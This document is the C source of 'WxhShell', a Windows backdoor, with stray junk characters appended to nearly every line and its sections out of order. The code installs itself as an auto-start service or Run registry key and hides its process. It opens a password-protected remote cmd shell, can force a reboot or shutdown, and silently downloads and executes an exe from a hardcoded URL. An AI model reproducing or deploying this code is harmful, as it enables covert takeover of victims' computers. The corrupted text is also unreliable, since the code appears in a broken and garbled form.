    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [p@NzS/  
    else { 4:cbasy  
    closesocket(wsh); mU_?}}aK,  
    ExitThread(0); M@Q=!!tQ(  
    } UA,&0.7  
    break; +nd'Uf   
    } lf|e8kU\f  
  // 获取shell U6X~]|o  
  case 's': { xpyb&A  
    CmdShell(wsh); *NV`6?o@6  
    closesocket(wsh); K_`*ZV{r  
    ExitThread(0); w;QDQ fx0  
    break; $E|W|4N  
  } #`GW7(M  
  // 退出 G"MpA[a_  
  case 'x': { zx(j6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kggf!\MR8  
    CloseIt(wsh); 1:7>Em<s  
    break; D4'? V Iz  
    } Bx&` $lW  
  // 离开 sNvT0  
  case 'q': { $?Aez/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w0SzK-&  
    closesocket(wsh); YO!,m<b^u  
    WSACleanup(); `P/*x[?  
    exit(1); U`6QD}c"s  
    break; i*_KHK  
        } f'FY<ed<w  
  } W~k!qy `  
  } [&nwB!kt  
U]R?O5K  
  // 提示信息 K?[pCF2C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [tMf KO  
} - |[_j$g  
  } RU"w|Qu>pM  
no?)GQ  
  return; r %0  
} U_}$QW0'  
42 p6l   
// shell模块句柄 ~n[LL)v  
int CmdShell(SOCKET sock) 7gVWu"  
{ )SA$hwR  
STARTUPINFO si; c;U\nC<Y  
ZeroMemory(&si,sizeof(si)); *~!xeL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +ZRsa`'^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Fx<QRz  
PROCESS_INFORMATION ProcessInfo; 18[f_0@ #  
char cmdline[]="cmd"; f=K1ZD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X8Sk  
  return 0; MruWt*  
} $+P v fQ  
a m<R!(  
// 自身启动模式 =~=/ dq  
int StartFromService(void) $elrX-(vL  
{ R8'yQ#FVy  
typedef struct eaX`S.!jR  
{ ePs<jrB<  
  DWORD ExitStatus; h*MR5qa  
  DWORD PebBaseAddress; "[[fQpe4@  
  DWORD AffinityMask; S OK2{xCG  
  DWORD BasePriority; 9Biw!%a  
  ULONG UniqueProcessId; Dx <IS^>i  
  ULONG InheritedFromUniqueProcessId; !FSraW2  
}   PROCESS_BASIC_INFORMATION; &]LwK5SR  
H&03>.b  
PROCNTQSIP NtQueryInformationProcess; yQi|^X~?$  
p1?}"bHk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3~cOQ%#]4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A^K,[8VX  
M%B[>pONb7  
  HANDLE             hProcess; l m  
  PROCESS_BASIC_INFORMATION pbi; e-e{-pB6  
5)nv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }qKeX4\-  
  if(NULL == hInst ) return 0; >`{i[60r  
{Y0I A97,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rM?D7a{q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mCz6&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +XpRkX&-  
]UgA z  
  if (!NtQueryInformationProcess) return 0; ~JZ Lfw  
/yykOvUO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '|d (<.[  
  if(!hProcess) return 0; `%ENGB|  
O"#`i{^?2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %<M<'jxSca  
/6q/`vx@  
  CloseHandle(hProcess); E`?BaCrG~  
cEqh|Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P);Xke  
if(hProcess==NULL) return 0; )K?GAj]Pq  
! 4oIx`  
HMODULE hMod; 5t<]|-i!  
char procName[255]; #>- rKv.A  
unsigned long cbNeeded; dt \O7Rjw8  
<oXsn.'\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i3%~Gc63  
~qqtFjlG^  
  CloseHandle(hProcess); q~w;C([k_  
pbzbh&Y  
if(strstr(procName,"services")) return 1; // 以服务启动 ^&6NB)6  
eAuJ}U[  
  return 0; // 注册表启动 (C3d<a\:  
} (D l"s`UH~  
bv+e'$U3  
// 主模块 * QR7t:([  
int StartWxhshell(LPSTR lpCmdLine) ^LNc  
{ >|'6J!Op  
  SOCKET wsl; #KK(Z \;  
BOOL val=TRUE; h7y*2:l6  
  int port=0; YSwD#jO0  
  struct sockaddr_in door; =#^dG ''*"  
0sUc6_>e  
  if(wscfg.ws_autoins) Install(); <Z__Q  
rL s6MY  
port=atoi(lpCmdLine); B_&PK7vA  
9<M$j x)  
if(port<=0) port=wscfg.ws_port; uc<@ Fh(  
p!a%*LfND  
  WSADATA data; s{,e^T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /,>.${,;u  
W" !amMQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   62 _$O"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  \1MDCP9:  
  door.sin_family = AF_INET; +,-r b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dXDD/8E  
  door.sin_port = htons(port); <R(2 9QN  
(s3%1OC[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BdKtpje  
closesocket(wsl); =B:poh[u  
return 1; wMUnZHd{|  
} C\; 8l}t  
^0&] .m  
  if(listen(wsl,2) == INVALID_SOCKET) { 2G-? P"4l@  
closesocket(wsl); 1CM1u+<iZ  
return 1; *nc4X9  
} [>:gwl _\  
  Wxhshell(wsl); -Fdi,\e  
  WSACleanup(); 3?XLHMxW  
e||_j  
return 0; &\H5*A.HkA  
]03ZrZ! PM  
} cR&xl^BJ  
KwHOV$lD;  
// 以NT服务方式启动 iN*>Z(b"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PGKXzp'  
{ 1A)~Y   
DWORD   status = 0; uUe\[-~  
  DWORD   specificError = 0xfffffff; G8s`<:9*  
0/6&2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [GP( r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [o.zar82  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C|I 1 m  
  serviceStatus.dwWin32ExitCode     = 0; AWDjj\Q4  
  serviceStatus.dwServiceSpecificExitCode = 0; >gZz`CH  
  serviceStatus.dwCheckPoint       = 0; vf =  
  serviceStatus.dwWaitHint       = 0; U %ESuq#  
cP1jw%3P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k:TfE6JZ  
  if (hServiceStatusHandle==0) return; SRTpE,  
8Vn6* Xn  
status = GetLastError(); }$)<k  
  if (status!=NO_ERROR) *Vl =PNn-  
{ j vV8`BQ{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z~ H Gc"~  
    serviceStatus.dwCheckPoint       = 0; c7F&~RLC  
    serviceStatus.dwWaitHint       = 0; X w8i l  
    serviceStatus.dwWin32ExitCode     = status; H5s85"U#  
    serviceStatus.dwServiceSpecificExitCode = specificError; x/7G0K2\}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 752wK|o0|;  
    return; vdm?d/0(^  
  } wB)+og-^1f  
is(!_Iv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 95Qz1*TR  
  serviceStatus.dwCheckPoint       = 0; p4'"Wk8  
  serviceStatus.dwWaitHint       = 0; $<cZ<g5)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fsf22  
} pPZ/O 6  
j0~3[dyqU  
// 处理NT服务事件,比如:启动、停止 kYB <FwwB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vb- .^l  
{ ?I'-C?(t@1  
switch(fdwControl) '-IT@}  
{ r?!xL\C\  
case SERVICE_CONTROL_STOP: J,O@T)S@  
  serviceStatus.dwWin32ExitCode = 0; j/<y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &-fx=gq=  
  serviceStatus.dwCheckPoint   = 0; Jg:-TK/  
  serviceStatus.dwWaitHint     = 0; mx9/K+:  
  { 7LwS =yP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQ 6#L  
  } 9i}D6te  
  return; (U_Q7hja?  
case SERVICE_CONTROL_PAUSE: bUN,P"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ql~{`qoD~  
  break; [M^[61  
case SERVICE_CONTROL_CONTINUE: ;g:bn5G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :BX{ *P  
  break; )$B+ 3f  
case SERVICE_CONTROL_INTERROGATE: n\-_i2yy  
  break; ^\&g^T%  
}; ;a&:r7]=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oKi1=d+T  
} (AG  
r^t{Ii ~  
// 标准应用程序主函数 1N!g`=}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X-1Vp_(,TP  
{ Z9&D'n)  
8-a6Q|   
// 获取操作系统版本 uX +<`3O  
OsIsNt=GetOsVer(); E`fssd~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r0deBRM  
aT!9W'uY  
  // 从命令行安装 ?=!XhU .  
  if(strpbrk(lpCmdLine,"iI")) Install(); .w_`d'}  
RQCQGa^cP  
  // 下载执行文件 Kk>qgi$  
if(wscfg.ws_downexe) { 5\0.[W{^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %hbLT{w  
  WinExec(wscfg.ws_filenam,SW_HIDE); `Kw"XGT  
} 4E-A@FR  
*ZR@ z80i  
if(!OsIsNt) { 1?RCJ]e5  
// 如果时win9x,隐藏进程并且设置为注册表启动 4)HWPX  
HideProc(); P"h\7V,d%  
StartWxhshell(lpCmdLine); RzRvu]]8  
} p=+*g.,O  
else d?M!acB  
  if(StartFromService()) Tn0l|GRuZA  
  // 以服务方式启动 n& m?BuG  
  StartServiceCtrlDispatcher(DispatchTable); (}X?v`Y^W  
else >&vO4L  
  // 普通方式启动 /=m9s  
  StartWxhshell(lpCmdLine); 'e>sHL  
cNo4UZvr  
return 0; -;)SER3Wq4  
} 46Q; F  
5o| !f  
wUCDJY:,1  
iQ!  
=========================================== 7ml0  
4A/,X>W61  
};m7FO  
!""!sFx)R  
zt)PZff/YQ  
As'M3 9*V  
" ^T&u!{82j  
Z!-<rajl  
#include <stdio.h> gZ"{{#:}  
#include <string.h> !@Sf>DM"  
#include <windows.h> r\n h.}s  
#include <winsock2.h> VuMDV6^Z  
#include <winsvc.h> sRyw\v-=P  
#include <urlmon.h> sIRrEea  
$',GkK{NX  
#pragma comment (lib, "Ws2_32.lib") U=i8>6V  
#pragma comment (lib, "urlmon.lib") R;E"Qdt  
g<iwxF  
#define MAX_USER   100 // 最大客户端连接数 03QEXm~|Q  
#define BUF_SOCK   200 // sock buffer !+A"Lej  
#define KEY_BUFF   255 // 输入 buffer ^?X ^+  
j t`p<gI  
#define REBOOT     0   // 重启 7#9'2dI  
#define SHUTDOWN   1   // 关机 "26B4*  
'^ e/F)0  
#define DEF_PORT   5000 // 监听端口 sL7`=a.&T  
B~!G lT  
#define REG_LEN     16   // 注册表键长度 ]tQDk4&i  
#define SVC_LEN     80   // NT服务名长度  6I cM:x  
V1`5D7Z  
// 从dll定义API # HM\ a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I4<{R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jh&~/ntmm_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L_~I ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e}R2J `7  
9O=05CQ  
// wxhshell配置信息 bmO__1  
struct WSCFG { 3KG)6)1*  
  int ws_port;         // 监听端口 4ljvoJ}xjr  
  char ws_passstr[REG_LEN]; // 口令 N^Hn9n  
  int ws_autoins;       // 安装标记, 1=yes 0=no B) *#g  
  char ws_regname[REG_LEN]; // 注册表键名 }&(E#*>x  
  char ws_svcname[REG_LEN]; // 服务名 EK8E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q Bfhyo_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 64!ame}n+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^EUOmVN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I^M#[xA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  bL'#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4VmCW"b7h  
)"_Ff,9Z!  
}; #U$YZ#B  
wI@zPVY_i  
// default Wxhshell configuration w(V? N'[  
struct WSCFG wscfg={DEF_PORT, Ql q#Zdru  
    "xuhuanlingzhe", 2%5^Fi  
    1, ?79SPp)oo  
    "Wxhshell", !qTpQ5Dm  
    "Wxhshell", oBRm\8 2|  
            "WxhShell Service", 8tV=fSHd  
    "Wrsky Windows CmdShell Service", EFRZ% Y  
    "Please Input Your Password: ", 0r0\b*r  
  1, -Ap2NpZ"t  
  "http://www.wrsky.com/wxhshell.exe", ^fE\S5P  
  "Wxhshell.exe" @jE d%W  
    }; } T/}0W]0  
E?Qz/*'zv  
// 消息定义模块 ) ]/i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S om. qD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [GR|$/(z=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FtFv<UV  
char *msg_ws_ext="\n\rExit."; C`NBHRa>  
char *msg_ws_end="\n\rQuit."; s`Yu"s 8}4  
char *msg_ws_boot="\n\rReboot..."; iJ`%yg,  
char *msg_ws_poff="\n\rShutdown..."; qXrt0s[  
char *msg_ws_down="\n\rSave to "; #JL&]Z+X6  
A;fB6  
char *msg_ws_err="\n\rErr!"; -YzQ2#K  
char *msg_ws_ok="\n\rOK!"; l$k]O  
vLv|SqD  
char ExeFile[MAX_PATH]; yN9$gfJC^  
int nUser = 0; 1A%N0#_(Md  
HANDLE handles[MAX_USER]; tDC0-N&6S~  
int OsIsNt; ;#Jq$v)D  
~j/bCMEf!  
SERVICE_STATUS       serviceStatus; 1N!Oslum  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4;BW  
er[" NSo  
// 函数声明 u[V4OU}%  
int Install(void); fqcU5l[v,  
int Uninstall(void); !paN`Fz\a  
int DownloadFile(char *sURL, SOCKET wsh); 9?u9wuH  
int Boot(int flag); i"%JFj_G  
void HideProc(void); u Q[vgNe*m  
int GetOsVer(void); ,zAK3d&hj  
int Wxhshell(SOCKET wsl); i7S>RB  
void TalkWithClient(void *cs); .)i O Du  
int CmdShell(SOCKET sock); +=ZWau   
int StartFromService(void); CN\|_y  
int StartWxhshell(LPSTR lpCmdLine); K/f>f;c  
FF%\g J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OwG6i|q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +={  
aUypt(dv  
// 数据结构和表定义 .mvB99P{<  
SERVICE_TABLE_ENTRY DispatchTable[] = x[vpoB+c  
{ Smq r q  
{wscfg.ws_svcname, NTServiceMain}, IvEMg2f}  
{NULL, NULL} 2YL`3cgfb  
}; Q3'fz 9v  
4*0:bhhhf_  
// 自我安装 H!unIy|  
int Install(void) M|/oFV  
{ Np.no$_  
  char svExeFile[MAX_PATH]; Zg)_cRR   
  HKEY key; )ZT6:)  
  strcpy(svExeFile,ExeFile); =d go!k  
Q^$ghZ6V  
// 如果是win9x系统,修改注册表设为自启动 ZhhI@_sz  
if(!OsIsNt) { zW%>"y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5~@?>)TBv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %/UV_@x&  
  RegCloseKey(key);  EX[B/YH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4=u+ozCG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N@k3$+ls  
  RegCloseKey(key); d>lt  
  return 0; +<S9E'gT3V  
    } zWy ,Om8P  
  } 4^0d)+Ff  
} CTl(_g  
else { kcLj Kp  
 7]p>XAb  
// 如果是NT以上系统,安装为系统服务 _^_5K(Uq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <e;jW K  
if (schSCManager!=0) dv"as4~%  
{ f'1(y\_fb  
  SC_HANDLE schService = CreateService c*N50%=4  
  ( x1t{SQ-C  
  schSCManager, ctp?y  
  wscfg.ws_svcname, {/-y>sm  
  wscfg.ws_svcdisp, j_!bT!8  
  SERVICE_ALL_ACCESS, }TSgAwsbC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MVeF e\r  
  SERVICE_AUTO_START, F(d:t!  
  SERVICE_ERROR_NORMAL, PXV)NC  
  svExeFile, ETM2p1 ru0  
  NULL, K@q&HV"'.  
  NULL, qOW#Q:T  
  NULL, t(}/g  
  NULL, A[RHw<  
  NULL GHv{   
  ); Vd,'  s  
  if (schService!=0) @'*eC}\E  
  { T |37#*c  
  CloseServiceHandle(schService); 9Hu d|n  
  CloseServiceHandle(schSCManager); ]53O}sH>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F7\BF  
  strcat(svExeFile,wscfg.ws_svcname); Tak t_N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N5m'To]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (VR" Mi4  
  RegCloseKey(key); cI2Fpf`2Wj  
  return 0; ovo/!YJ2  
    } CK2B  
  } y>$1 UwQ  
  CloseServiceHandle(schSCManager); XcOA)'Py  
} +fM&su=wl  
} /dLA`=rZx  
$ K})Q3FNi  
return 1; d]8_l1O  
} Q8;#_HE  
(/&;jV2DD[  
// 自我卸载 Nu@5 kwH  
int Uninstall(void) G%S6$@:  
{ /?Vdqci  
  HKEY key; _l<mu?"  
cg,Ua!c  
if(!OsIsNt) { @@Q6TB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [q1Unm  
  RegDeleteValue(key,wscfg.ws_regname); }g>kpa0c  
  RegCloseKey(key); Y=E9zUF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rv,82iEKs  
  RegDeleteValue(key,wscfg.ws_regname); qYK4)JP  
  RegCloseKey(key); @M=$qO_$9  
  return 0; !x7o|l|cP  
  } \]I  
} 8"x9#kyU<3  
} (_K_`5d;QI  
else { Tp?-* K  
#,&8&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A;,Dg=FL/  
if (schSCManager!=0) L?8^aG  
{ j9:/RJS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qbb6,DL7J  
  if (schService!=0) 34z+INkX  
  { X]!D;7^  
  if(DeleteService(schService)!=0) { i E9\_MA  
  CloseServiceHandle(schService); m<{"}4'  
  CloseServiceHandle(schSCManager); KnJx{8@z  
  return 0; C`NmZwL  
  } =p q:m  
  CloseServiceHandle(schService); DVh)w}v  
  } <4c%Q)  
  CloseServiceHandle(schSCManager); pA.._8(t  
} qp>N^)>  
} 4d`+CD C  
+"8}R~`!  
return 1; yAG+] r  
} C',6%6P  
[/cIUQ  
// 从指定url下载文件 .xl.P7@JJ  
int DownloadFile(char *sURL, SOCKET wsh) +Rqbf  
{ |c0,  
  HRESULT hr; 4z_n4=  
char seps[]= "/"; @r<b:?u  
char *token; =WK04\H  
char *file; e[{mVhg4E  
char myURL[MAX_PATH]; 'w.}2(  
char myFILE[MAX_PATH]; ,hWcytzEw  
=IZ[_ /@  
strcpy(myURL,sURL); RBE7485  
  token=strtok(myURL,seps); cKjRF6w  
  while(token!=NULL) pDn&V(  
  { ,[X_]e;  
    file=token; J4>;[\%m  
  token=strtok(NULL,seps); |@RpWp>2  
  } Qdu$Os  
|9IC/C!HC  
GetCurrentDirectory(MAX_PATH,myFILE);  )3%@9  
strcat(myFILE, "\\"); T@P!L  
strcat(myFILE, file); N*_"8LIfi_  
  send(wsh,myFILE,strlen(myFILE),0); ;7Okyj6EP  
send(wsh,"...",3,0); SE)nD@:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 514Z<omrK  
  if(hr==S_OK) ;iU%Kt  
return 0; JoJukoy}F  
else g1{/ 5{XI  
return 1; ?#BV+#(  
\|%E%Yc  
} :Fe_,[FR  
=K(JqSw+M  
// 系统电源模块 fx)KNm8Lx  
int Boot(int flag) f*m[|0qI<X  
{ /e1(? 20  
  HANDLE hToken; oa`#RC8N  
  TOKEN_PRIVILEGES tkp; {DwIjy31T  
m#\[m<F  
  if(OsIsNt) { VEs5;]#<2D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G\=_e8(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kkv<"^H  
    tkp.PrivilegeCount = 1; g^l RG3a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ur!~<4GO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eT[&L @l]b  
if(flag==REBOOT) { %>zjGF<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m Ni2b*k  
  return 0; 2*2:-o cl$  
} z%sy$^v@vD  
else { I[D8""U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M0w/wt|  
  return 0; {C")#m-0  
} r N5tI.iC  
  } q3h'l,  
  else { 4 1t)(+r  
if(flag==REBOOT) { ;>>C)c4V"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9v?l  
  return 0; "9XfQ"P  
} Ew$I\j*  
else { mgQIhXH5L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vzXag*0  
  return 0; {( tHk_q  
} Ri)uq\E/#  
} S3Y2O x  
P@0Y./Ds  
return 1; |"]PCb)!  
} I=Ij dwbH  
 tR)H~l7q  
// win9x进程隐藏模块 )D/ 6%]O  
void HideProc(void) +Xy*?5E;C  
{ 2SG$LIV 9Y  
jc:s` 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \/5RL@X}  
  if ( hKernel != NULL ) |+}G|hx@9  
  { S6D^3n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gl7|H&&xV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hd &{d+B  
    FreeLibrary(hKernel); C6  "  
  } qCPmbg  
%d;ezY'2  
return; (sTuG}  
} %,UPJn  
Vf $Dnu@}z  
// 获取操作系统版本 {whvTN1#dh  
int GetOsVer(void) ,}SCa'PB  
{ ,[!LCXp  
  OSVERSIONINFO winfo; DjLL|jF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  L,LNv  
  GetVersionEx(&winfo); M;.ZM<Ga  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W?Ww2Lo%Y  
  return 1; >:1P/U  
  else szmmu*F,U:  
  return 0; dl~|Izm  
} se9>.}zZN  
j !H^-d}q  
// 客户端句柄模块 S\#17.=  
int Wxhshell(SOCKET wsl) bC6oqF'#  
{ 9`B$V##-L  
  SOCKET wsh; T+IF}4e d  
  struct sockaddr_in client; J'T=q/  
  DWORD myID; ;zH HIdQ>-  
_NZ@4+aW  
  while(nUser<MAX_USER) (k?7:h  
{ oBQm05x"  
  int nSize=sizeof(client); ZH 6\><My  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l.+yn91%>  
  if(wsh==INVALID_SOCKET) return 1; 3V<&|  
>I"V],d!6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )> a B  
if(handles[nUser]==0) 5&!c7$K0  
  closesocket(wsh); {XCf-{a]~  
else 9KuD(EJS  
  nUser++; quxdG>8  
  } t18$x "\4k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `3_lI~=eH  
CH#k(sy  
  return 0; f 2YLk  
} ;2xO`[#  
c1XX~8  
// 关闭 socket f!_ ctp  
void CloseIt(SOCKET wsh) 5*-3? <)e  
{ 7^6uG6  
closesocket(wsh); K9Hqq7"%  
nUser--; /j2H A^GT  
ExitThread(0); X[yNFW}S2W  
} 9pKGr@&   
}T_Te?<&  
// 客户端请求句柄 p9eRZVy/  
void TalkWithClient(void *cs) ca<"  
{ G&f8n  
4Y\wnwI  
  SOCKET wsh=(SOCKET)cs; <n"C,  
  char pwd[SVC_LEN]; Nf41ZT~  
  char cmd[KEY_BUFF]; \;X+X,M  
char chr[1]; 5\fCd|  
int i,j; zg)sd1@  
K4ZolWbU  
  while (nUser < MAX_USER) { eOT+'[3"  
s%4M$ e  
if(wscfg.ws_passstr) { RW'nUL?_\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]; $] G-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5*g]qJF  
  //ZeroMemory(pwd,KEY_BUFF); 9LC&6Q5O&  
      i=0; xg@NQI@7   
  while(i<SVC_LEN) { ),}AI/j;zY  
rVnd0K  
  // 设置超时 yR5XJ;Tct  
  fd_set FdRead; ne}+E  
  struct timeval TimeOut; oXsL9,  
  FD_ZERO(&FdRead); Dh4 6o|P  
  FD_SET(wsh,&FdRead); 8 .>/6M  
  TimeOut.tv_sec=8; l`9t}  
  TimeOut.tv_usec=0; _i0kc,*C\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _l`e#XbG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6A R2htN^  
q!~ -(&S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *XOJnyC_H  
  pwd=chr[0]; &EGqgNl  
  if(chr[0]==0xd || chr[0]==0xa) { q'[}9e`Q  
  pwd=0; (rtY!<|p  
  break; |OO in]5  
  } WiL2  
  i++; lCd@jB{  
    } }n:?7  
>R,'5:Rw  
  // 如果是非法用户,关闭 socket _*M42<wcO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g`^X#-!(  
} bBcp9C)iY  
n"Veem[_4g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !%(h2]MQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /UcV  
iSLGwTdLn  
while(1) { ,i9Byx#TN  
. 5y"38e  
  ZeroMemory(cmd,KEY_BUFF); ZzGahtx)Y  
y m,H@~  
      // 自动支持客户端 telnet标准   )::>q5c  
  j=0; 9# 4Y1LS)  
  while(j<KEY_BUFF) { #FOqP!p.E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BimjQ;jtI  
  cmd[j]=chr[0]; a 3SlxsWW  
  if(chr[0]==0xa || chr[0]==0xd) { URgk^nt2p  
  cmd[j]=0; e!-,PU9+  
  break; .R*!aK  
  } WS8+7O'1\  
  j++; r;>+)**@vl  
    } X r63?N  
xiF7}]d+  
  // 下载文件 k,F"-K+M  
  if(strstr(cmd,"http://")) { `A$!]&[~|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xl7aGlH  
  if(DownloadFile(cmd,wsh)) M,5j5<7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$ACDX2  
  else g1E~+@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *.-.iY.a]  
  } OI1ud/>h  
  else { \`V$ 'B{.  
Qhi '') Q  
    switch(cmd[0]) { Y/<lWbj*A  
  '+>fFM,*B  
  // 帮助 / O/`<  
  case '?': { 7M_U2cd|TD  
